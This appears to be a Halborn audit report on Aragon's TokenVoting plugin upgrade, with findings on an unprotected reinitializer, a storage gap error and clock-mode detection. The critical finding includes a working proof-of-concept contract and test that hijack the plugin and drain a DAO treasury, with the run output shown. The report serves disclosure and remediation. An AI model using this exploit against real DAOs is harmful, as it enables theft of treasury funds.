// Assurance Assessment

Jul 10, 2025 - Jul 14, 2025

Tokenvoting Plugin Upgrade

Aragon

HALBORN

Summary

100% OF ALL REPORTED FINDINGS HAVE BEEN ADDRESSED

ABOUT THIS REPORT

ASSESSMENT TYPE
Assurance Assessment

DATE OF ENGAGEMENT
Jul 10, 2025 - Jul 14, 2025

SOURCE CODE
TokenVotingPlugin
/tokenvoting-1-4-scope-a703baf/src/base/IMajority
/tokenvoting-1-4-scope-a703baf-bare/src/base/IMa

ASSESSED COMMIT ID
a703baf

SEVERITY BREAKDOWN

3	2	1	0
All Findings	Solved	Acknowledged	Risk Accepted



Introduction

Aragon engaged Halborn to perform a security assessment of their smart contracts from July 11th, 2025, to July 14th, 2025. The assessment scope was limited to the smart contracts provided to Halborn. Commit hashes and additional details are available in the Scope section of this report.

The Aragon codebase in scope consists of feature updates made to the TokenVoting plugin including timestamp-based voting, mint freezing, and token supply exclusion.

Assessment Summary

Halborn was allocated 2 days for this engagement and assigned 1 full-time security engineer to conduct a comprehensive review of the smart contracts within scope. The engineer is an expert in blockchain and smart contract security, with advanced skills in penetration testing and smart contract exploitation, as well as extensive knowledge of multiple blockchain protocols.

The objectives of this assessment were to:

- Identify potential security vulnerabilities within the smart contracts.
- Verify that the smart contract functionality operates as intended.

In summary, `Halborn` identified several areas for improvement to reduce the likelihood and impact of potential risks, which were partially addressed by the `Aragon team`. The recommendations were as follows:

- `Reduce the storage gap array size by two instead of one.`
- `Explicitly check for both "mode=timestamp" and "mode=blocknumber" in CLOCK_MODE(). If neither is detected, revert with an error to prevent unsupported or ambiguous clock modes from being used.`

Caveats

The security assessment was limited to analyzing changes made to files between two commits at **https://github.com/aragon/TokenVotingPlugin/compare/30b1218...a703baf**.

While these limitations exist, the assessment was conducted to provide a comprehensive evaluation of the protocol's security posture. Nonetheless, these constraints should be considered when reviewing the findings and recommendations.

Post-Assessment Disclosure

After the initial assessment, `Aragon` reported two additional vulnerabilities, which Halborn reviewed after the engagement.

The first affected the `VotingPowerCondition` contract, which is not in scope but is used by the code in scope to gate proposal creation. It allowed the proposal creation checks to be bypassed using flash loans. Halborn reviewed the remediation in PR14 (commit `590ebd8`) and confirms it is present in that commit.

The second affected the `TokenVotingSetup` and `TokenVotingSetupZkSync` contracts in scope. Updates from build 3 returned empty initialization data, which left `TokenVoting.initializeFrom()` callable by any account after the update. This issue has been added to this report as a post-assessment finding. Halborn reviewed the remediation (commit `2fce06e`) and confirms it is present in that commit.

Test Approach and Methodology

`Halborn` conducted a combination of manual code review and automated security testing to balance efficiency, timeliness, practicality, and accuracy within the scope of this assessment. While manual testing is crucial for identifying flaws in logic, processes, and implementation, automated testing enhances coverage of smart contracts and quickly detects deviations from established security best practices.
The following phases and associated tools were employed throughout the term of the assessment:

- Research into the platform's architecture, purpose and use.
- Manual code review and walkthrough of smart contracts to identify any logical issues.
- Comprehensive assessment of the safety and usage of critical Solidity variables and functions within scope that could lead to arithmetic-related vulnerabilities.
- Local testing using custom scripts (`Foundry`).
- Fork testing against main networks (`Foundry`).
- Static security analysis of scoped contracts, and imported functions (`Slither`).

Risk Methodology

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

5.1 EXPLOITABILITY

ATTACK ORIGIN (AO):

Captures whether the attack requires compromising a specific account.

ATTACK COST (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

ATTACK COMPLEXITY (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

METRICS:

EXPLOITABILITY METRIC (m_e)	METRIC VALUE	NUMERICAL VALUE
Attack Origin (AO)	Arbitrary (AO:A)	1
	Specific (AO:S)	0.2
Attack Cost (AC)	Low (AC:L)	1
	Medium (AC:M)	0.67
	High (AC:H)	0.33
Attack Complexity (AX)	Low (AX:L)	1
	Medium (AX:M)	0.67
	High (AX:H)	0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

5.2 IMPACT

CONFIDENTIALITY (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

INTEGRITY (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

AVAILABILITY (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

DEPOSIT (D):

Measures the impact to the deposits made to the contract by either users or owners.

YIELD (Y):

Measures the impact to the yield generated by the contract for either users or owners.

METRICS:

IMPACT METRIC (m_I)	METRIC VALUE	NUMERICAL VALUE
Confidentiality (C)	None (C:N)	0
	Low (C:L)	0.25
	Medium (C:M)	0.5
	High (C:H)	0.75
	Critical (C:C)	1
Integrity (I)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Availability (A)	None (A:N)	0
	Low (A:L)	0.25
	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical (A:C)	1
Deposit (D)	None (D:N)	0

IMPACT METRIC (m_I)	METRIC VALUE	NUMERICAL VALUE
	Low (D:L)	0.25
	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium (Y:M)	0.5
	High (Y:H)	0.75
	Critical (Y:C)	1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

5.3 SEVERITY COEFFICIENT

REVERSIBILITY (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

SCOPE (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

METRICS:

SEVERITY COEFFICIENT (C)	COEFFICIENT VALUE	NUMERICAL VALUE
Reversibility (r)	None (R:N)	1
	Partial (R:P)	0.5
	Full (R:F)	0.25
Scope (s)	Changed (S:C)	1.25
	Unchanged (S:U)	1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

Critical	High	Medium	Low	Informational
9 - 10	7 - 8.9	4.5 - 6.9	2 - 4.4	0 - 1.9

Scope

REPOSITORY

(a) Repository: TokenVotingPlugin

(b) Assessed Commit ID: a703baf6fb5a48e11091bea96b44009d5da0ce3e

(c) Items in scope:

- src 6 files
  - base 1 file
    - MajorityVotingBase.sol Solidity
  - erc20 2 files
    - GovernanceERC20.sol Solidity
    - GovernanceWrappedERC20.sol Solidity
  - TokenVoting.sol Solidity
  - TokenVotingSetup.sol Solidity
  - TokenVotingSetupZkSync.sol Solidity

Out-of-Scope: Third party dependencies and economic attacks.

FILES

(a) Submitted File: /tokenvoting-1-4-scope-a703baf/src/base/IMajorityVoting.sol

(b) Items in scope:

- tokenvoting-1-4-scope-a703baf 13 files
  - src 10 files
    - base 2 files
      - IMajorityVoting.sol Solidity
      - MajorityVotingBase.sol Solidity
    - condition 1 file
      - VotingPowerCondition.sol Solidity
    - erc20 4 files
      - GovernanceERC20.sol Solidity
      - GovernanceWrappedERC20.sol Solidity

- IERC20MintableUpgradeable.sol Solidity
- IGovernanceWrappedERC20.sol Solidity
- TokenVoting.sol Solidity
- TokenVotingSetup.sol Solidity
- TokenVotingSetupZkSync.sol Solidity
- foundry.toml Toml
- remappings.txt
- SCOPE.md Markdown

(a) Submitted File: /tokenvoting-1-4-scope-a703baf-bare/src/base/IMajorityVoting.sol

(b) Items in scope:

- tokenvoting-1-4-scope-a703baf-bare 12 files
  - src 10 files
    - base 2 files
      - IMajorityVoting.sol Solidity
      - MajorityVotingBase.sol Solidity
    - condition 1 file
      - VotingPowerCondition.sol Solidity
    - erc20 4 files
      - GovernanceERC20.sol Solidity
      - GovernanceWrappedERC20.sol Solidity
      - IERC20MintableUpgradeable.sol Solidity
      - IGovernanceWrappedERC20.sol Solidity
    - TokenVoting.sol Solidity
    - TokenVotingSetup.sol Solidity
    - TokenVotingSetupZkSync.sol Solidity
  - foundry.toml Toml
  - remappings.txt

REMEDIATION COMMIT ID:

2fce06e99f99554f32552c33908a48b957b79dd2

aa4445a3b2b421feeed33ad000c7a0e7312f3817

Out-of-Scope: New features/implementations after the remediation commit IDs.

Assessment Summary & Findings Overview

#	TITLE	SEVERITY	SCORE	STATUS
HAL-001	DAO takeover due to unprotected	Critical	10.0	SOLVED 11/05/2026

#	TITLE	SEVERITY	SCORE	STATUS
	initializeFrom after build 3 update			
HAL-002	Incorrect storage gap reduction could lead to storage collision	High	7.5	SOLVED 07/16/2025
HAL-003	Incomplete EIP-6372 clock mode detection may cause silent misconfiguration	Informational	0.5	ACKNOWLEDGED 07/23/2025

Findings & Tech Details

HAL-001 SOLVED

DAO takeover due to unprotected initializeFrom after build 3 update

Critical · 10.0 AO:A/AC:L/AX:L/R:N/S:C/C:N/A:H/I:C/D:C/Y:N

DESCRIPTION

The `TokenVotingSetup.prepareUpdate()` function returns the initialization data that the Aragon `PluginSetupProcessor` uses when a DAO updates its `TokenVoting` plugin. When the returned `initData` is not empty, the processor upgrades the proxy with `upgradeToAndCall()` and runs `TokenVoting.initializeFrom()` in the same transaction. When it is empty, the processor only calls `upgradeTo()`.

Build 4 raised `TokenVoting.initializeFrom()` from `reinitializer(2)` to `reinitializer(3)`. However, `TokenVotingSetup.prepareUpdate()` only builds `initData` when `_fromBuild` is lower than 3:

SOL

```
function prepareUpdate(address _dao, uint16 _fromBuild, SetupPayload calldata _payload)
    external
    override
    returns (bytes memory initData, PreparedSetupData memory preparedSetupData)
{
    if (_fromBuild < 3) {
        // ...
        initData = abi.encodeCall(TokenVoting.initializeFrom, (_fromBuild, _payload.data));
    }
}
```

For an update from build 3, `initData` is empty, so the proxy is upgraded without running `initializeFrom()` and stays at initialized version 2. The `TokenVotingSetupZkSync.prepareUpdate()` function contains the same condition.

The `TokenVoting.initializeFrom()` function has no access control, so after the update it remains callable by any account:

SOL

```
function initializeFrom(uint16 _fromBuild, bytes calldata _initData) external
reinitializer(3) {
    if (_fromBuild < 3) {
        (uint256 minApprovals, TargetConfig memory targetConfig, bytes memory pluginMetadata)
=
            abi.decode(_initData, (uint256, TargetConfig, bytes));
```

```
            _updateMinApprovals(minApprovals);

            _setTargetConfig(targetConfig);

            _setMetadata(pluginMetadata);
        }
        if (_fromBuild < 4) {
            _detectTokenClock();
        }
    }
```

As a result, any account can overwrite the plugin `minApprovals`, metadata and execution target after a DAO updates from build 3. Setting the target to an attacker contract with `Operation.DelegateCall` makes every proposal created afterwards execute through that contract. When one of those proposals is executed, the plugin delegatecalls the attacker code in its own context, and since the plugin holds `EXECUTE_PERMISSION` on the DAO, that code can transfer the whole DAO treasury. The call also consumes `reinitializer(3)`, so the legitimate reinitialization can no longer run, and a reverting target blocks the execution of every new proposal.

1. A DAO updates its `TokenVoting` plugin from build 3 to build 4 through the `PluginSetupProcessor`, which performs a bare `upgradeTo()`.
2. Any account calls `TokenVoting.initializeFrom()` with `_fromBuild` set to 0, `minApprovals` set to 0 and a `TargetConfig` pointing to its own contract with `Operation.DelegateCall`.
3. A proposal is created and passes after the call.
4. When the proposal is executed, the plugin delegatecalls the attacker contract, which calls `DAO.execute()` and transfers the treasury to the attacker.

PROOF OF CONCEPT

The following test installs a build 3 plugin, upgrades it with an empty `initData` as `TokenVotingSetup.prepareUpdate()` does for `_fromBuild` equal to 3, and lets an unprivileged account call `initializeFrom()`:

- The DAO is deployed with a build 3 `TokenVoting` plugin that holds `EXECUTE_PERMISSION` on it, and 100 ETH in its treasury. To keep the test short, the attacker holds the whole governance token supply, so it can pass a proposal on its own.
- The plugin is upgraded to build 4 with `upgradeTo()`, without initialization data.
- The attacker calls `initializeFrom()` and sets the execution target to its own contract with `Operation.DelegateCall`.

- A proposal is created and executed, and the plugin delegatecalls the attacker contract, which drains the treasury.

SOL

```
contract AttackExecutor {
    address public immutable DAO_ADDR;
    address public immutable ATTACKER;

    constructor(address _dao, address _attacker) {
        DAO_ADDR = _dao;
        ATTACKER = _attacker;
    }

    function execute(bytes32, Action[] memory, uint256)
        external
        returns (bytes[] memory execResults, uint256 failureMap)
    {
        uint256 loot = DAO_ADDR.balance;
        Action[] memory drain = new Action[](1);
        drain[0] = Action({to: ATTACKER, value: loot, data: ""});

        DAO(payable(DAO_ADDR)).execute(bytes32(uint256(0xdead)), drain, 0);

        execResults = new bytes[](0);
        failureMap = 0;
    }
}

function test_attackerHijacksUninitializedProxy_viaUpgradeTo() external {
    (DAO dao, TokenVotingR1B3 pluginV13, ) = _setupV13Install();
    address proxy = address(pluginV13);

    // Update to build 4 with empty initData, as the PluginSetupProcessor does for _fromBuild
== 3
    dao.grant(proxy, address(this), keccak256("UPGRADE_PLUGIN_PERMISSION"));
    address newImpl = address(new TokenVoting());
    TokenVotingR1B3(proxy).upgradeTo(newImpl);

    TokenVoting hijacked = TokenVoting(proxy);
    AttackExecutor evilExec = new AttackExecutor(address(dao), attacker);

    // Unprivileged attacker re-initializes the plugin
    vm.prank(attacker);
    hijacked.initializeFrom(
        0,
        abi.encode(
            uint256(0),
            IPlugin.TargetConfig({target: address(evilExec), operation:
IPlugin.Operation.DelegateCall}),
            bytes("")
        )
    );

    IPlugin.TargetConfig memory tcAfter = hijacked.getTargetConfig();
    assertEq(tcAfter.target, address(evilExec));
    assertEq(uint8(tcAfter.operation), uint8(IPlugin.Operation.DelegateCall));

    uint256 daoBefore = address(dao).balance;
    uint256 attackerBefore = attacker.balance;

    vm.prank(attacker);
    uint256 proposalId = hijacked.createProposal(
        "takeover", new Action[](0), 0, 0, 0, IMajorityVoting.VoteOption.Yes, true
    );
```

```
    (, bool executed,,,,) = hijacked.getProposal(proposalId);
    assertTrue(executed);
    assertEq(address(dao).balance, 0);
    assertEq(attacker.balance - attackerBefore, daoBefore);
}
```

Command

```
forge test --mt test_attackerHijacksUninitializedProxy_viaUpgradeTo -vv
```

Output

```
[PASS] test_attackerHijacksUninitializedProxy_viaUpgradeTo() (gas: 26569429)
Logs:
  --- BEFORE HIJACK ---
  targetConfig.target  : 0xDDc10602782af652bB913f7bdE1fD82981Db7dd9
  targetConfig.op(0=Call): 0
  minApproval          : 0
  initializeFrom() by unprivileged attacker SUCCEEDED (mechanism fired)
  --- AFTER HIJACK ---
  targetConfig.target  : 0xa0Cb889707d426A7A386870A03bc70d1b0697598
  targetConfig.op(1=DelegateCall): 1
  minApproval          : 0
  DAO treasury before  : 10000000000000000000
  attacker balance before: 0
  proposal executed    : true
  DAO treasury after   : 0
  attacker balance after : 10000000000000000000
```

RECOMMENDATION

Return the `TokenVoting.initializeFrom()` initialization data from `TokenVotingSetup.prepareUpdate()` and `TokenVotingSetupZkSync.prepareUpdate()` for every update from a build lower than 4, keeping the permission and helper changes limited to builds lower than 3. Additionally, restrict `TokenVoting.initializeFrom()` with `auth(UPGRADE_PLUGIN_PERMISSION_ID)` so it can only run as part of an upgrade.

REMEDIATION COMMENT

Addressed in: 2fce06e99f99554f32552c33908a48b957b79dd2

SOLVED: The **Aragon team** solved this finding in the specified commit by following the mentioned recommendation.

HAL-002 SOLVED

Incorrect storage gap reduction could lead to storage collision

High · 7.5 AO:A/AC:L/AX:L/R:N/S:U/C:N/A:N/I:H/D:N/Y:N

DESCRIPTION

The `TokenVoting` contract introduces a new storage variable `excludedAccounts` of type `EnumerableSet.AddressSet`. This newly introduced `AddressSet` is a struct containing a `Set` struct, which itself contains a dynamic array and a mapping:

SOL

```
struct Set {
    // Storage of set values
    bytes32[] _values;
    // Position of the value in the `values` array, plus 1 because index 0
    // means a value is not in the set.
    mapping(bytes32 => uint256) _indexes;
}
```

Per Solidity storage layout rules, this struct occupies **two storage slots**. However, the storage gap `uint256[48] private __gap;` was only reduced by one (from 49 to 48).
This miscalculation causes the storage layout to shift, breaking upgradeability guarantees and potentially corrupting contract state for any future upgrades.

PROOF OF CONCEPT

The output of the running the command `forge inspect src/TokenVoting.sol:TokenVoting storage --pretty` clearly demonstrates the difference in storage layout, where the final `__gap` is moved from slot `402` to `404` (2 slots):

- **Previous storage layou**t:

Name	Type	Slot	Offset	Bytes	Contract
_initialized	uint8	0	0	1	src/TokenVoting.sol:TokenVoting
_initializing	bool	0	1	1	src/TokenVoting.sol:TokenVoting
__gap	uint256[50]	1	0	1600	src/TokenVoting.sol:TokenVoting
__gap	uint256[50]	51	0	1600	src/TokenVoting.sol:TokenVoting
__gap	uint256[50]	101	0	1600	src/TokenVoting.sol:TokenVoting
__gap	uint256[50]	151	0	1600	src/TokenVoting.sol:TokenVoting
dao_	contract IDAO	201	0	20	src/TokenVoting.sol:TokenVoting
__gap	uint256[49]	202	0	1568	src/TokenVoting.sol:TokenVoting
currentTargetConfig	struct IPlugin.TargetConfig	251	0	32	src/TokenVoting.sol:TokenVoting
__gap	uint256[49]	252	0	1568	src/TokenVoting.sol:TokenVoting
proposalCounter	struct CountersUpgradeable.Counter	301	0	32	src/TokenVoting.sol:TokenVoting
__gap	uint256[49]	302	0	1568	src/TokenVoting.sol:TokenVoting
proposals	mapping(uint256 => struct MajorityVotingBase.Proposal)	351	0	32	src/TokenVoting.sol:TokenVoting
votingSettings	struct MajorityVotingBase.VotingSettings	352	0	64	src/TokenVoting.sol:TokenVoting
minApprovals	uint256	354	0	32	src/TokenVoting.sol:TokenVoting
__gap	uint256[46]	355	0	1472	src/TokenVoting.sol:TokenVoting
votingToken	contract IVotesUpgradeable	401	0	20	src/TokenVoting.sol:TokenVoting
__gap	uint256[49]	402	0	1568	src/TokenVoting.sol:TokenVoting

- New storage layout:

Name	Type	Slot	Offset	Bytes	Contract
_initialized	uint8	0	0	1	src/TokenVoting.sol:TokenVoting
_initializing	bool	0	1	1	src/TokenVoting.sol:TokenVoting
__gap	uint256[50]	1	0	1600	src/TokenVoting.sol:TokenVoting
__gap	uint256[50]	51	0	1600	src/TokenVoting.sol:TokenVoting
__gap	uint256[50]	101	0	1600	src/TokenVoting.sol:TokenVoting
__gap	uint256[50]	151	0	1600	src/TokenVoting.sol:TokenVoting
dao_	contract IDAO	201	0	20	src/TokenVoting.sol:TokenVoting
__gap	uint256[49]	202	0	1568	src/TokenVoting.sol:TokenVoting
currentTargetConfig	struct IPlugin.TargetConfig	251	0	32	src/TokenVoting.sol:TokenVoting
__gap	uint256[49]	252	0	1568	src/TokenVoting.sol:TokenVoting
proposalCounter	struct CountersUpgradeable.Counter	301	0	32	src/TokenVoting.sol:TokenVoting
__gap	uint256[49]	302	0	1568	src/TokenVoting.sol:TokenVoting
proposals	mapping(uint256 => struct MajorityVotingBase.Proposal)	351	0	32	src/TokenVoting.sol:TokenVoting
votingSettings	struct MajorityVotingBase.VotingSettings	352	0	64	src/TokenVoting.sol:TokenVoting
minApprovals	uint256	354	0	32	src/TokenVoting.sol:TokenVoting
__gap	uint256[46]	355	0	1472	src/TokenVoting.sol:TokenVoting
votingToken	contract IVotesUpgradeable	401	0	20	src/TokenVoting.sol:TokenVoting
tokenIndexedByTimestamp	bool	401	20	1	src/TokenVoting.sol:TokenVoting
excludedAccounts	struct EnumerableSet.AddressSet	402	0	64	src/TokenVoting.sol:TokenVoting
__gap	uint256[48]	404	0	1536	src/TokenVoting.sol:TokenVoting

RECOMMENDATION

Reduce the storage gap by two instead of one. Change the gap declaration to:

```sol
uint256[47] private __gap;
```

REMEDIATION COMMENT

Addressed in: aa4445a3b2b421feeed33ad000c7a0e7312f3817

SOLVED: The **Aragon team** solved this finding in the specified commit by following the mentioned recommendation.

HAL-003 ACKNOWLEDGED

Incomplete EIP-6372 clock mode detection may cause silent misconfiguration

• Informational · 0.5 AO:S/AC:L/AX:L/R:N/S:U/C:N/A:N/I:L/D:N/Y:N

DESCRIPTION

The `_detectTokenClock()` function in the `TokenVoting` contract attempts to determine whether the governance token uses timestamp or block number snapshots by checking `CLOCK_MODE()` and `clock()` from EIP-6372. However, if neither timestamp mode nor matching clock value is detected, the function silently assumes block number mode without explicit validation. This could result in silent misconfiguration if the token does not implement EIP-6372 or uses a custom clock mode, potentially leading to incorrect voting power snapshots.

SOL

```
/// @dev Helper function to identify the clock mode used by the given voting token.
function _detectTokenClock() private {
    bool clockModeTimestamp;
    bool clockTimestamp;

    try IERC6372Upgradeable(address(votingToken)).CLOCK_MODE() returns (string memory
clockMode) {
        clockModeTimestamp = keccak256(bytes(clockMode)) ==
keccak256(bytes("mode=timestamp"));
    } catch {}
    try IERC6372Upgradeable(address(votingToken)).clock() returns (uint48 timePoint) {
        clockTimestamp = (timePoint == block.timestamp);
    } catch {}

    if (clockModeTimestamp != clockTimestamp) {
        revert TokenClockMismatch();
    } else if (clockModeTimestamp) {
        tokenIndexedByTimestamp = true;
    } else {
        // Assuming that the token indexes by block number
    }
}
```

RECOMMENDATION

Explicitly check for both `"mode=timestamp"` and `"mode=blocknumber"` in `CLOCK_MODE()`. If neither is detected, revert with an error to prevent unsupported or ambiguous clock modes from being used.

REMEDIATION COMMENT

ACKNOWLEDGED: The **Aragon team** made a business decision to acknowledge this finding and not alter the contracts.

Disclaimer

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project's integrity and addressing potential vulnerabilities introduced by code modifications.